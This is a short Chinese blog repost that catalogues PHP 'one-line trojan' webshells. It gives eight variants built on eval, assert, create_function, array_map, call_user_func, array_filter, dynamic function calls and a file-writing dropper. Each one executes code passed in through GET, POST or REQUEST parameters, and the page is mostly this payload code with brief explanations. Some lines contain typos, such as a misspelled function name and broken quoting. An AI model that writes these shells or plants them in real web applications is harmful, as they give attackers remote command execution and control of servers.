码迷,mamicode.com
首页 > 其他好文 > 详细

一句话木马

时间:2020-02-23 11:47:13      阅读:106      评论:0      收藏:0      [点我收藏+]

标签:过滤器   news   接受   木马   new   eva   val   文件操作   动态   

一句话木马书写:为什么是一句话木马,因为他可以通过函数接收指定的参数来让我们的操作系统执行指定的命令

  1.eval函数

<?php eval($_REQUEST[‘a]);?>

  

  2.assert函数

<?php assert($_REQUEST["a"]); ?>

  

  3.匿名方法构造

<?php func=create_function(‘‘,$_POST[‘a‘]); func();?>

  

  4.array_map的书写方式:  

<?php
    $func = $_POST[‘a‘];
    $arr = array($_POST[‘b‘]);
    news = array_map($func, $arr);
?>

  

  5.call_user_func(方法名,参数)  把接受的第一个值当作回调函数调用,其余参数作为回调函数的参数

<?php
$a = $_GET[‘a‘];
call_user_func(assert,$a);

//书写为一句
//call_user_func(assert,$_GET[‘a‘]);
?>

  

  6.array_filert(方法名,数组)

<?php
//函数过滤器,学过python的小伙伴一定看的懂,就是将数组中的每个值放到指定的函数中,返回一个只含有true的结果,上方的array_map也和python的map函数基本相像
$arr = array_filert($_GET[‘func‘],array($_GET[‘a‘]));
?>

 

  

  7.文件操作函数:生成一个之前的一句话木马,

<?php 
$test=‘<?php eval($_POST[‘a‘]);?>‘;
file_put_contents(‘test1.php‘,$test);
//一句话的书写方式
fputs(fopen(‘a.php‘,‘w‘),‘<?php assert($_POST["a"]?>‘);
?>

 

  

  8.动态函数调用:接收一个函数作为函数名,一个函数作为参数进行动态调用

<?
    $_GET[‘func‘]($_GET[‘a‘]);
?>

 

 

 

 

 

 

 

 

  

 

一句话木马

标签:过滤器   news   接受   木马   new   eva   val   文件操作   动态   

原文地址:https://www.cnblogs.com/KHZ521/p/12154671.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!